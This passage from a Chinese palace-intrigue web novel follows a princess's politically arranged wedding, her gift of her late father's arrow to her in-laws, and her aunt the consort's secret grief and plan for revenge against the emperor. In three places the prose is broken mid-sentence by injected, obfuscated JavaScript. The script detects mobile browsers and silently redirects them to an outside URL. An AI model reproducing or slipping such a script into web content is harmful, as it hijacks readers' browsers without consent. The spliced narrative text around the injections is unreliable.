花露想到今日匆匆离去的松醪,“娘娘,这是第二次陛下故意不让公主回晏呢殿了,奴婢怕公主会瞧出什么。” 薛贵妃把玩着手中的菩提子,“即便咱们想不让公主瞧出什么,可陛下不答应又能怎么办呢?” 花露皱眉,“娘娘的意思是,陛下打算撕破这表面的那层布了?” “庆儿成婚,按道理来讲便是杜家的人,想来陛下想通过这种办法,来强迫庆儿选择杜家。”薛贵妃幽幽一笑,“陛下,你是打算通过这种方式让我孤立无援,是吗?” “娘娘,那接下来我们该怎么办?” 菩提子被轻轻放到一旁,薛贵妃站起身,“庆儿特意让松醪嘱咐我不要劝陛下将婚礼改期,这已经证明了我们薛家的孩子能够分得清是非黑白。” 花露会意,“既然如此,我们便顺水推舟,等成婚后我们自然可以有更多办法拿捏杜博士。” 薛贵妃点头,“你去查一查,陛下打算让杜至善婚后去哪一处任职,咱们也好提前为杜博士准备一份厚礼。” 花露微笑着点头,转身退了出去。 虽然说在紫宸殿的对话很不愉快,苻庆也没有对皇帝做抱有任何幻想和期待,却没想到对方竟如此咄咄逼人。第二日礼部便到了公主府,将公主府上上下下陈设大肆更改一番,苻庆本来选择了一处较远的院子给杜至善,也被礼部毫不留情地推翻,在他们再三抉择后,最终选择了揽晴轩作为未来驸马的院子。 “揽晴轩?”听着松醪的回话,苻庆哑然失笑,“他们不知道那是程怜香住过的地方吗?” 松醪也不知道事情怎么会发展的这么巧合,“奴婢没敢说,公主,这下怎么办?” 反正都要跪赵王了,自己还有什么不能割舍的呢。苻庆自嘲一笑,摆手示意。 “算了,随礼部的人去吧,只要他们别把这宅子拆了,什么我都答应。” 松醪此时已经知道皇帝执意要赵王做主婚人的事情,也能够理解苻庆心中憋闷,只能点点头。 “松醪,还有一件事我要你去做。” “公主请吩咐。” 苻庆拿出自己找出的小盒子,轻轻推到松醪面前。 “这个,帮我送到杜府。” 这还是苻庆第一次主动提及杜府,松醪有些惊讶,却还是行礼后拿起盒子走了出去。 苻庆坐在屋内圈椅中,瘦削的肩膀微微躬着,像是能被圈椅吞进去。 松醪动作很快,没过一个时辰盒子便被送到了杜府,来到了杜夫人手中。 “我的天爷呀!这是什么东西!” 杜太傅听到妻子惊呼,连忙把脑袋伸过来一探究竟,却见妻子手中锦盒之中,赫然摆着一支银光锃亮的箭头。 杜夫人哪见过这等危险的物件,差点将手中锦盒直接扔出去,还是杜太傅眼疾手快才将锦盒扶稳。 杜夫人抚着胸口还有惊魂未定,嗔怒着对婢女说:“怎么回事?你确定这是从公主府送来的东西吗?糊涂东西,我看你是皮子痒痒了!” 婢女慌张跪在地上,肩膀止不住地发抖,“夫人恕罪,奴婢不敢隐瞒,这真的是公主府刚刚差人送过来的。” 杜太傅看着手中箭矢也有点疑惑,但到底还是比自家夫人更加冷静,立刻对那婢女说:“既然是公主府送过来的,你赶紧去叫少爷过来,这多半是公主送给他的。” 婢女领命离开了,杜夫人本就对苻庆有些意见,如今看着这锦盒中的箭矢更加不高兴,皱着眉头问杜太傅,“老爷,你说公主这是什么意思?难道是想给咱家一个下马威吗?” 杜太傅也有些摸不到头脑,却还是强撑着说道:“我觉得应当不是,公主虽说不拘小节了些,但这桩婚事到底是陛下所赐,即便她心中再不高兴,也不可能敢做出拂陛下面子的事。” 杜夫人壮着胆子又看了那支箭头一眼,连连摆手。“我早就说这武将的女儿就是不行的,半分规矩都没有,偏偏你还不信!” “这……” 杜太傅话还没有说完,杜至善已经急匆匆地走了过来。 “父亲,母亲。” 杜夫人见儿子来了,一拂袖子说道:“明德,你可算过来了,你快自己来看看吧。” 杜至善已经听闻公主府送来箭头一事,见父亲手中拿着一锦盒,连忙走上前接过锦盒。 杜太傅见杜至善动作十分急切,猜测他已经知道了这只箭矢的来历,背过手问道:“明德,公主的用意你可是已经猜到了?” 杜至善合上锦盒,深揖一礼开口说道:“父亲,母亲,此支箭矢乃是当年辽东大捷时,苻坚将军杀死辽国大将耶律海阔台的那支箭矢。当时陛下大喜,宫中召开宫宴为大军庆功,这只箭矢也被陛下特意留下,想来是后面又回到了公主手中。” “杀过人的箭矢?”杜夫人更加避之不及,“这小女子是疯了吗?她将这只箭矢交给你是什么意思?难不成还真是要给咱们杜家一个下马威?” 杜至善却已经明白苻庆的深意,“父亲,母亲,儿子觉得这非但不是威胁,倒真是公主表达对杜府重视的象征。这只箭矢乃是苻家荣获圣宠的标志,如今公主愿意将这只箭矢赠与我,便代表公主已经做好准备要将家族荣耀与我们杜家门楣紧紧绑定在一处了。” 杜太傅捋着胡子点头,“此言有理,陛下此次赐婚便是为了能够增加你背后的助力,如今公主愿意交付出这件信物,也代表了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446136|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她对于此次婚事的态度。” “即便如此,也改变不了她不守妇道、荒淫纵欲的本质。”杜夫人整了整头上的珠钗,“若不是陛下赐婚,像这种女人是万万不可能进我们杜家之门的。” 杜至善见母亲说不通,转头对杜太傅继续说道:“父亲,既然陛下有意让我们杜家与苻家结亲,我想那必是想要我未来成为钳制武将的文官力量。咱们家与朝中武官势力接触不多,想来以后我还是要靠公主背后的力量。” “你想的不错,我也觉得陛下是打算要你进枢密院或兵部,这之间肯定不乏苻家从前的势力。”杜太傅点头,“我老了,如今也就只能教教书罢了。明德,杜家的未来还是要托付在你身上,你绝不能忘了在列祖列宗面前承诺过的事情。” 杜至善微微点头,“正因如此,有一事儿子还想要同父母商议。” “你说。” “成婚后,儿子想要搬去公主府居住。” “不行!”杜夫人率先喊出来,“这算什么事?你搬过去住,不就成入赘了?她不过是个冒牌公主,咱们允许她婚后依旧住在公主府已经是开恩,怎么还能如此得寸进尺?” 杜至善从一开始就没打算说通杜夫人,只是继续对杜太傅说道:“父亲,如今乃是儿子上进的好时机,此时若我不与公主先做出举案齐眉、琴瑟和鸣的样子,又如何能够让那些人相信我?更何况,公主早已经将那伶人送出府了,公主既然做出让步,难道我还能继续摆架子吗?” 杜太傅此时已经被自己为杜至善想象出的锦绣前程说动了心,又听到苻庆已经将伶人送出府去,心里俨然已经动摇,但到底觉得杜家脸面也十分重要,抖着胡子补充道:“你住进公主府倒无妨,只是你别忘了你和公主到底都还是杜家的人。” 杜至善从善如流,“父亲放心,我和公主自当好好孝敬父亲母亲。” 公主府中,松醪此时也已经知道苻庆送过去的东西是什么,她非常明白那只箭矢对于苻庆的意义,因此只是觉得杜至善配不上这么贵重的礼物。 “公主,那只箭矢乃是贵妃娘娘求了陛下咱们才拿回来的,是苻坚将军留给您的最后一丝念想了,您何必用它作为交于杜家的信物呢?” 苻庆却一副并不在意的样子,“你也看到了,就连姨母都觉得我对待杜至善太过于任性,若此时我不拿出些诚意,怎么能让姨母和陛下满意呢?” 松醪却还是有些惋惜,“罢了,待以后成了婚,公主便将那只箭矢要回来吧。” 苻庆不愿意再与松醪争执,只是笑着不说话。松醪并不知晓自己与杜至善之间的约定,自然不可能明白自己为何要用如此重要的东西来充当信物。 毕竟是共同谋乱的同盟,自己若不交出些真东西,怎么能让对方放心? “松醪,你去杜府送来的聘礼中将杜家的家传手镯找出来,过几日我便要入宫等待婚礼,那只手镯我要戴着出嫁。” 松醪点头退下。 苻庆端起茶盏浅啜一口,心里盘算着之后的事情。 虽说现在尚不知道杜至善要被陛下安插在何处,但能够尚长公主的人,必然不可能是普通官职。待杜至善进入中枢,那他们二人就能够更加轻而易举接触到边关的各种消息,对于辽人与大夏国现在的情况也可以更加熟悉。而苻庆这时候便能够更好地运用手中的势力,让他们帮助自己推波助澜,最终获得想要的结果。 一旦边关出现战乱,昔日的主战派大臣集结,民间的声音也会催促皇帝下定决心出兵,到那时便是苻庆报仇雪恨的好机会。 而过几日的婚礼,便是计划的第一步。 47. 玉镯 婚礼前按照规矩,苻庆重新回到了宫中居住。搬出晏呢殿其实不过月余,但是再回到宫中苻庆却还是感觉到一丝陌生。薛贵妃很是高兴,拉着苻庆的手在偏殿中四处看,不论是床上被褥,还是多宝阁上的古董花瓶,都是让人新换过的。 “我想着这几日天气渐热了,便把多宝阁上的摆件换了一批,这些多是以琉璃摆件为主,瞧起来心里敞亮。” 苻庆看着薛贵妃高兴的样子,心里却有些心酸。薛贵妃尚在病中,还要为自己操劳这些,而自己却已经许久没有到晏呢殿看过姨母了。 “姨母,不过住两日,哪有必要弄得这么复杂?”苻庆扶着薛贵妃坐到圈椅上,“你如今身体刚好一些,怎么能这么辛苦呢?” 薛贵妃莞尔一笑,“为了你忙碌,我心里高兴,根本觉不出累的。” “姨母——”苻庆将脑袋轻轻倚在薛贵妃膝盖上,“您这样说,让我怎么舍得您啊?” 薛贵妃伸出手抚摸着苻庆的脑袋,“不过是出嫁罢了,待你成婚后还是可以入宫看望姨母的呀。” “姨母,前几日我都没有入宫看您,您生我气了吗?” 薛贵妃温柔地开口,“傻孩子,我怎么会生你的气?你在姨母心里,永远是最听话最懂事的那个。” 苻庆抬起头,一双眸子亮晶晶地看向薛贵妃。 薛贵妃将苻庆扶起坐到一旁圈椅上,起身从梳妆台中拿出一个锦盒,递到苻庆面前。 “这是什么?”苻庆打开锦盒,里头躺着一支珠圆玉润、晶莹剔透的玉镯。 苻庆第一反应感觉有些眼熟,想了半晌才忽然认出来,“姨母,这不是当年我入京的时候,娘亲让我带过来交给您的那只手镯吗?” 薛贵妃点头,轻轻把锦盒往苻庆怀中一推,“现在它是你的了。” “这!这怎么能行?”苻庆还记得娘亲是多么郑重要她一定将这只手镯交到薛贵妃手中,“我娘说了,这是对您来说很重要的一支手镯,我怎能占为己有?便是我娘也不会同意此事的。” 薛贵妃却将锦盒按在苻庆手中,“你别着急,这只手镯其实并不是我的,而是你外祖母的。” 苻庆一愣,低头仔细端详起这只手镯来。 “当年你外祖母离世,将这对手镯交给我和姐姐一人一只,寓意我们两姐妹都如同此环、永不分离。”薛贵妃抬手摸着苻庆的脸颊,“后来你母亲去往锦西城,我便将我的那只手镯赠与你母亲,权当用它代替我们两姐妹在一起。” 薛贵妃看着苻庆,眼前却好像看到姐姐抱着锦盒踏上去往锦西城路途的时候,那时候的姐姐成婚也不过两年,还是一副稚嫩年少的模样。但为了怕自己难过,全程都没敢掉过一滴眼泪,而是一直用笑容宽慰自己,告诉自己永远不要为她担心。 “庆儿,姨母出生的时候你外祖母便因难产离世,我是由姐姐带大的,因此在我眼中你便如同我的女儿,我愿意把这世间最好的一切都给你。”薛贵妃温柔一笑,梨涡若隐若现,“这只镯子既是我给你的,也是你母亲给你的,到时候你便戴着这只镯子出嫁,我相信姐姐在天有灵,必是能够看到的。” 苻庆抬起头,不提防一滴眼泪顺着脸颊滑落下来。 “姨母,若没有您,便没有现在的我。我这一辈子,都会记得您的养育之恩。” 薛贵妃的眸子中也盛满了泪水,听到苻庆这样说却是一笑。抬手戳了一下苻庆的额头,“我不要记得这些没用的东西,我只要你好好的。只要你好好的,姨母愿意为你做任何事。” 而此时苻庆心中想到的却是自己的复仇计划,她从未将自己的计划告知过薛贵妃,甚至在薛贵妃面前都没有流露出任何打算为父母报仇的意思。她并不是担心薛贵妃会阻挠自己,而是担心薛贵妃会为了保护自己,不同意自己以身涉险。 为了复仇,苻庆愿意付出自己的一切,但惟有薛贵妃,苻庆觉得自己这辈子或许是无法报答了。 “庆儿,成婚那日你不要害怕,我已经求了陛下,陛下答应由你表弟送你出嫁了。” 苻庆有些诧异,皇帝一向是不喜欢太子参与这些的,更别提为自己送嫁这种事情了。更何况太子虽名义上是自己表弟,但到底是未来的储君,自己按道理是绝对没有资格要太子亲自送嫁的。 “姨母,表弟在东宫学业繁忙,此事恐怕不妥吧?” “有什么不妥的,他自己的姐姐出嫁,难道他能坐视不管吗?”薛贵妃宽慰苻庆,“你放心,反正那日杜太傅也无法去东宫上课,倒不如正好给他放个假。” “可是陛下……” “陛下已经答应了。”薛贵妃的语气有些斩钉截铁,“庆儿你放心,那日我不能陪你出宫,但我绝不会让你在那一日身边没有一个亲人。” 苻庆自然知道这是薛贵妃听闻陛下执意要赵王做主婚人后想到的办法,即便自己再三嘱咐,薛贵妃还是恐怕自己吃亏,因此才想出这种方法。确实如果由太子在场,赵王无论如何也是不敢造次的。可是陛下已经对姨母有所忌惮,姨母又生着病,苻庆甚至想不到薛贵妃是用什么办法劝陛下同意此事的。 苻庆轻轻叹了口气,“姨母,我实在是给我你添太多麻烦了。” 薛贵妃拿起锦盒中的手镯戴到苻庆手腕上,“庆儿,只要是为你做的,姨母永远不觉得麻烦。” 深夜,薛贵妃为苻庆掖好被角,蹑手蹑脚走出了偏殿。 花露提着灯笼走过来,“娘娘,公主睡下了?” 薛贵妃点点头,与花露回到正殿。花露侍奉着薛贵妃梳洗过后,早早将殿内的蜡烛一一熄灭,做出薛贵妃要安寝的样子。 而薛贵妃此时,已经借着一支蜡烛昏暗的光芒,轻轻将暖阁中的柜子门打开,而里面赫然摆着一尊牌位。 看到牌位,薛贵妃立刻露出一个安心的笑容,拿出手绢将牌位细细擦拭一番。 “姐姐,许久不与你说话,你可会怪我吗?” 这尊苻夫人的牌位已经被薛贵妃秘密摆放在这座柜子里六年了,六年前苻坚将军与夫人的棺椁运回京城,薛贵妃便立刻着人刻了牌位秘密供奉在自己宫内。之所以要隐瞒这件事,是因为宫内不允许私自设牌位供奉亲人,更别说是妃嫔的母家人。在皇帝眼中,他能够允许苻坚和夫人的牌位被安置在永福殿已经是天恩,绝不可能允许薛贵妃直接将自己姐姐的牌位供奉在晏呢殿内。 但薛贵妃不管,她已经同姐姐被迫分离了这么多年,如今她只要和姐姐在一起。 一边擦拭着牌位,薛贵妃一边喃喃自语,“姐姐,庆儿后日便要成婚了,我知道你肯定也是高兴的。你走的时候庆儿那样小,如今见她终于有了依靠,我知道你一定会很欣慰。而且你放心,杜至善是个上进的好孩子,有我看着,我绝不会让他辜负庆儿。” 将牌位重新摆放好,薛贵妃又将牌位前摆放的点心和水果重新换过,这些点心和水果无一例外不是时令的,是薛贵妃经过仔细挑选才摆放上去的。 “姐姐,今日我把你的镯子给了庆儿了。你放心,我没有说漏嘴,我只说那镯子是你我一人一只的,没有告诉她旁的。”薛贵妃拿起摆放在牌位旁边的锦盒,若是仔细看便会发现那只锦盒与她今日交给苻庆的锦盒并无不同。 “庆儿永远都不会知道,那只镯子本身就是你的那只,自始至终你只带了一只镯子离开京城。”说着,薛贵妃从锦盒中取出和姐姐一人一只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446137|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的玉镯,放在手心中细细摩挲着,仿佛在通过这只镯子感受姐姐手掌的触感。 “姐姐,是我太傻了,早在六年前你让庆儿进京的时候把那只镯子交给我时我便应该想到,你其实早有预感了对不对?其实在庆儿进京的时候,你便知道他要下手了是不是?”薛贵妃的眼睛中含着泪光,眼神也逐渐变得狠辣,“姐姐,你早就知道他接你入宫陪我是假,要你入宫为质才是真,所以你才会故意换成庆儿入京,用这种方法保住你唯一女儿的命。” 一滴泪划过薛贵妃脸颊,薛贵妃闭上眼,仿佛又回到了六年前的四月,自己刚得知锦西城陷落消息的时候。 “可惜,我当时居然还愚蠢地以为,只要我足够听话,他就能多相信我一分,也能够多相信你和姐夫一分。没想到他却如此无情,燕云十六州尚未收复,他却已经想着狡兔死、走狗烹。” 其实早在更早时候,薛贵妃便已经发觉皇帝对苻家的态度正在悄然改变,他一直按兵不动不允许苻坚将军主动出击,便是担忧苻坚将军借此战提高威望、获得更高的军功,到时候他便无法轻易控制苻家军。 薛贵妃在尝试与姐姐通信未果后,便更加尽职尽责地做着后妃的职责,她以为这样做能够让皇帝看到薛家的忠心,进而能够让陛下放下对于苻家军的戒备。 但她没想到,自己的枕边人是一个多么可怕的豺狼。 很快,薛贵妃发现自己怀了身孕。这是她入宫这些年第二次怀孕。其实她侍寝次数不少,但不知为何就总是怀不上,因此面对这次有孕薛贵妃很是谨慎,甚至连向先皇后的请安都能够缺席。那段时间薛贵妃总是做噩梦,睡得很不安稳,如今想来大约是那个孩子在用这种方式告诫自己的母亲,有危险即将临近。 好不容易支撑到八个月,薛贵妃猜测到孩子可能无法足月落地,提前吩咐人找好了熟悉的稳婆,日日熏着艾草等待着孩子出世那一日。谁知一日刚醒来,薛贵妃便感觉到肚子疼痛,本以为是要分娩了,但孩子却迟迟不肯坠地。 太医来后经过搭脉才发现,孩子已经死在了腹中。并且由于孩子月份太大,薛贵妃好不容易才能保住一条命,甚至永远不能再怀孕了。 彼时薛贵妃身体孱弱,根本没有想到,实则这是一张大网张开的标志。她只以为皇帝是真的可怜自己刚失去孩儿,所以才打算将自己晋升为贵妃,并且允许姐姐入宫照料自己。 直到后来薛贵妃眼见着姐姐的棺椁回到京城,才猛然明白姐姐要苻庆将那只镯子带到京城交给自己的用意。之后,薛贵妃秘密调查了晏呢殿中的下人,果然找到了陛下安插在晏呢殿中的眼线。那些人得到皇帝的授意,不仅串通太医院让薛贵妃误以为自己的孩子有惊无险养到了八月,甚至非要等到胎死腹中之后才肯让太医告知薛贵妃真相,就是为了让薛贵妃再也无法有孕。 薛贵妃直到那时候才知道,皇帝早就盘算好苻家军的结局是什么。他不能违背民意对苻坚将军下手,便只能用一场战事终结苻家。所以,他故意在辽国围城后派遣一向与苻坚将军不和的赵王前往支援,而赵王也确实故意延误战机,最终只带回了锦西城陷落和苻家灭门的消息。 “姐姐,便是从那一刻起,我决定一定要报仇。”薛贵妃脸上噙着笑意,“我绝不允许他在做尽这些伤天害理的事情后,还能幸福地坐在那个高位上。他让我品尝亲人离世、骨肉分离的惨剧,那我也要让他尝一尝同样的滋味。” 深夜,月亮逐渐藏进了云层后面,月光逐渐变得昏暗。晏呢殿中,花露盖灭了最后一支蜡烛,盘腿坐在薛贵妃的床榻前。香炉中安神香已经被点燃,袅袅香气在殿内逐渐弥散开来。花露无声地打了个哈欠,头靠着床榻打起了瞌睡。 48. 出嫁 四月十七,是个大晴天。 由于要从宫中出嫁,缺少了许多趣味,诸如堵门要红包之类的规矩是绝对不可能有。苻庆闭着眼任由松醪为自己梳妆,脑子里却不由自主地想起自己在锦西城见过的婚礼。 锦西城天亮很早,天黑也很早,因此婚礼一般从中午便开始举行,大家也并没有什么繁琐复杂的流程,最重要的便是亲朋好友聚在一起吃吃喝喝。苻庆最喜欢吃婚礼上的炙羊肉了,大火把羊肉的皮烤得酥酥脆脆,撒上盐和胡椒等调味料后,飘香四溢。 可惜今日的婚宴是由宫中筹办的,不用品尝便知道饭菜必然是十分难吃,苻庆也没有吃饭的机会,进入婚房后便只能一直在屋内等候,至于会客等等都是杜至善的工作。 刚换好婚服,一个婢女便从外面走入殿内。 “公主,太子殿下到了。” “清嘉?”苻庆提起裙摆向外走去,“快让他进来。” 还未走到门口,一个人高马大的男子便伸手拦住了苻庆,苻庆也不客气,一拳锤在那人的肩膀上。 “你小子!让我看看长个了吗?” 沈清嘉捂着肩膀后退两步,故意大声嚷道:“苻庆,你疯了?这么久没见,一见面便要卸我胳膊,小心我向母妃告状!” “你告去啊!没大没小的,说多少次了,叫我姐姐。”苻庆这样说着,却并没有将此放在心上。他俩年纪只相差两岁,沈清嘉从小便不愿意喊她姐姐,二人为了这事没少打架。 “我就不叫!我警告你,我现在可是太子,你跟我说话可要小心点。” 苻庆噗嗤一笑,伸出胳膊卡住沈清嘉的脖子喊道:“太子?你敢再说一遍?我告诉你,我今天打的就是太子!” “苻庆!”沈清嘉抓着苻庆的胳膊不放,二人一时间闹成一团。 虽说七皇子这几年做了太子,不在晏呢殿居住了,但到底他与苻庆仍然是一同长大的情谊,二人之间是不会因为这一两年的分离而生分的。薛贵妃到偏殿的时候,正好看见二人扭作一团,不觉用手帕捂住嘴莞尔一笑。 “嘉儿!真是没礼貌,怎么能这样对你姐姐?” 沈清嘉见薛贵妃不分青红皂白便斥责自己,眉头一皱嘟囔道:“母妃!明明是苻庆先动手的!” “你!”薛贵妃佯装一指,沈清嘉立刻意识到自己居然当着薛贵妃的面没有喊苻庆姐姐,连忙捂住嘴,一扭身躲在了苻庆后面。“母妃,您别生气,我是无意的!” 苻庆被沈清嘉拉着连退后两步,伸直胳膊才勉强稳住身形。 薛贵妃也赶紧上前扶住苻庆,确保苻庆站稳后立刻斥责沈清嘉道:“我看你真是皮痒了,你姐姐今日大婚,你怎么还敢胡闹?” 沈清嘉扶着苻庆的后背站起身,经过薛贵妃这一提醒,他好像才注意到今日苻庆是不一样的。 苻庆头上的金饰叮当作响,站稳后伸手锤了沈清嘉一拳,但并没有生气。 “姨母,无妨。一开始确实是我先同嘉儿打的,不怪他。” 薛贵妃唤过花露和松醪,三个人赶紧将苻庆头上有些混乱的头饰重新戴好,步摇的流苏长长的,伴随着苻庆的动作簌簌作响。 沈清嘉站在一旁,他现在的个子已经超过了苻庆,甚至能够轻轻松松看到苻庆的头顶。这是从前二人在一起长大的时候很少有的情况,因为苻庆在很长时间里都比沈清嘉高一点,也因此苻庆一直都能够很轻松地压制沈清嘉。 在沈清嘉眼中,他一直觉得苻庆比起自己的姐姐更像自己的兄长,毕竟从前两个人每次见面基本都是在互相掐,要不就是一起爬树一起翻墙,一起在晏呢殿中挖土和泥巴玩。在他心中,他一直觉得苻庆同自己是没什么区别的。 两年前,一道圣旨突然将沈清嘉带去了东宫成为太子。在离开晏呢殿之前,沈清嘉看着薛贵妃忽然感觉鼻头有点酸涩,他知道父皇的要求严苛,一旦被选为太子,便注定要成为万人之上的那位孤家寡人,连亲生母亲都不能频繁接触。但在那个时候,是苻庆用眼神制止住了他的眼泪。 苻庆并没有多说什么,只是站到薛贵妃身前,用最坚定的语气告诉沈清嘉,“沈清嘉,你年岁也不小了,你能出去闯一闯这是好事,总比我做这个公主强。至于姨母就暂时交给我,你放心,我会尽我所能好好照顾贵妃娘娘。” 是啊,母妃已经是贵妃娘娘,陛下后宫的后位又一直虚设,母妃身份在现在的后宫已经是无上荣耀。此时对于晏呢殿来说,自己做太子是最好的选择。而他最大的作用,便是通过太子之位给母妃最安稳的依靠。 更何况苻庆对于他来说,便如同一个定盘星。他从未怀疑过苻庆的话,也从未想过苻庆会出尔反尔,他甚至觉得苻庆会在晏呢殿待一辈子,直到自己坐上那个位置,亲手赐予苻庆应得的光彩。 然而就在现在他忽然意识到,苻庆是不可能永远待在宫中的。但并非是如同自己这般,苻庆的离开并非是一种自由,而只是从一片红墙到达另一片红墙之内。 正如苻庆在两年前所说的那样,他们两个人之间注定只能走出一个人去,注定只能有一人有资格走出去面对这个世界。 “怎么?你傻了?”苻庆轻轻推了沈清嘉一把,“怎么一直发愣,没听见姨母给你说话呢?” 沈清嘉这才意识到自己已经站在此处发愣一段时间了,“母妃,您刚才说什么?” 薛贵妃却不知自己儿子此时脑中正在想什么,只是嘱托道:“臭小子,你可别忘了今日我叫你来送你姐姐出嫁是为了什么?我可把丑话先说前头,若你没护好你姐姐,你回来我定饶不了你。” 沈清嘉已经知晓父皇执意要赵王为苻庆做主婚人的事情了,虽说苻庆的生辰宴他并未到场,但赵王一向飞扬跋扈,他如今身在东宫,对于赵王在前朝所做的事情也有所了解,因此对赵王的印象也并不好。 更何况,既然是母妃特意嘱托过的,赵王便一定做了十分不敬的事情,否则怎么会连母妃这么和善的人都被惹怒了呢。 “母妃放心,今日有儿臣在,定不会允许任何人欺负咱们晏呢殿的人。”说完,沈清嘉看向苻庆,后者只是微笑着看着他,并未再说什么。 不一会,皇帝也来到了晏呢殿。苻庆知晓这意味着吉时已到,自己是必须要出宫门了。 宫中规矩,杜府迎亲队伍只能在内廷宫门外等候,苻庆需穿着婚服乘坐宫中的马车走到内廷宫门处。苻庆对着皇帝和薛贵妃行完跪拜礼,在皇帝的注视下,由薛贵妃亲手将团扇递到苻庆手中。苻庆上了轿子,在汪公公的引路下,和沈清嘉一同往宫门走去。 苻庆的婚服有些繁重,穿着十分限制苻庆的行动,因此走路的时候苻庆只能步步谨慎,却扇之礼又阻拦了苻庆的一部分视线,所以今日坐在轿子中的苻庆再无半点怨言,只是轻轻用团扇为自己扇着风。 “苻庆。” 忽然听到沈清嘉压低声音叫自己的名字,苻庆掀开窗帷,果然看见沈清嘉骑着马不紧不慢地走在轿子一侧。 “叫我做什么?” 沈清嘉表情有些不自然,“苻庆,这两年我不在晏呢殿,辛苦你了。” 苻庆很少在沈清嘉脸上看到这种难为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446138|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情的表情,不觉勾起嘴角一笑,“我答应你了嘛,我就一定会做到的。再说大多数时候都是姨母在照顾我,反倒是你自己在东宫,连个照顾的人都没有。今天见你,确实是长高了,但我总觉得你瘦了,回来要多吃一点,这样才能身体好,明白吗?” 沈清嘉其实吃得不少,清瘦是这个年龄段消耗较大导致的,但他并没有反驳,只是点点头。 苻庆刚想关上窗帷,又听沈清嘉说道:“我听闻,那个人是杜太傅的独子,你见过了吗?” “见过了。”苻庆并不想隐瞒,“你放心,我们两个相处得还挺好的。” “那你记得之后吵架的时候动嘴便是了,别打他。” 苻庆竖起耳朵才听清楚这句话说的什么,对着沈清嘉翻了个白眼,可惜现在不能揍他,只能言语威胁道:“滚到前头去。” 沈清嘉并没有滚,反而继续说道:“若再不行,你便回来告诉母妃,他爹在我手里,咱们怎么也不至于让他欺负了。” 苻庆这才听明白沈清嘉的画外音究竟是什么意思,哑然失笑。再看沈清嘉如今虽然个子长高了,但眉眼并未长开,怎么瞧都还是一副孩子模样。 “清嘉,从今以后贵妃娘娘便要交给你了。你要记着,不要让任何人欺负姨母。”苻庆认真地说道:“你还有皇上,但对于我来说,我只有姨母了。我不在宫中,你就是姨母唯一的依靠。” 沈清嘉点头,正色说道:“你放心,我一定不会让任何人欺负我娘。” 沈清嘉的称呼是娘,而不是母妃。苻庆浅笑盈盈,她已经明白了沈清嘉这句话背后的含义,他也会将薛贵妃当做自己唯一的亲人一般维护。 如此,苻庆便放心了。 沈清嘉一夹马肚子走到了前头,苻庆这才发现一行人已经快走到宫门口。 轿子很快便停了下来,外头有说话的声音,但轿子门却没有掀起来,苻庆明白这是杜至善在向沈清嘉行礼。 没一会,轿帘轻轻掀开,苻庆向外看去,正看到沈清嘉向自己伸出一只胳膊。 这与礼节不合,更不符合沈清嘉现在作为大夏国储君的身份,但苻庆抿嘴一笑,用团扇挡住脸后,扶着沈清嘉的胳膊下了轿。 杜至善今日穿着一袭大红色婚服,胸前戴着红绸子系成的红花,此时他的眼中只有同样身着婚服的苻庆。他好像从未见过苻庆走路如此端庄的样子,只觉得眼前这个人与在醉仙居和自己对饮的女子判若两人,不觉一笑,大跨步走上前来。 “太子殿下,您身份尊贵,便不劳动您了。”说完,杜至善伸手横在苻庆面前,“公主殿下,我扶着您。” 苻庆一愣,但随即又觉得并无不妥,便打算将手挪到杜至善胳膊上,谁知却被沈清嘉一把捞住。 “杜博士,你与苻庆公主尚未成婚,还是不要做出此等逾矩的事情来。本宫虽是太子,但同样也是苻庆公主的弟弟,送姐姐出嫁是本宫应当做的,何谈劳烦?”说完,沈清嘉越过杜至善,扶着苻庆继续向轿子走去。 苻庆只当是沈清嘉在耍小孩子脾气,因此并未放在心上,只是走到轿子前时向沈清嘉使了个眼色。沈清嘉自然看懂了,有些不情愿地回头对杜至善说道:“杜博士,走吧。” 杜至善也并未将这种小插曲放在心上,拱手行礼过后翻身上马,在与汪公公行礼做别后,调转马头向宫外走去。 一路上,鞭炮不断,锣鼓唢呐声音连绵不绝。苻庆坐在轿子中几次想要掀开帷子看看外面,最终还是忍住了。 所以,苻庆就这样错过了站在路边看着她出嫁的程怜香。 49. 心病 程怜香回和春班后躺了两日,几乎是滴水未进,只是把自己关在屋子里。程班主实在看不下去,要几个师弟把门上锁头砍坏了,才强行进入房内。进去后发现程怜香已经饿得没有力气下床,整个人面容憔悴,看起来像是生了一场大病,连眼神都是散的了,唬得程班主赶紧叫了顾仙人来。 顾仙人到底是医术高明,扎了三针便把程怜香的魂找了回来。程怜香看看顾仙人,又看看站在一旁的程班主,一句话说不出来,眼泪却是簌簌地往下落。 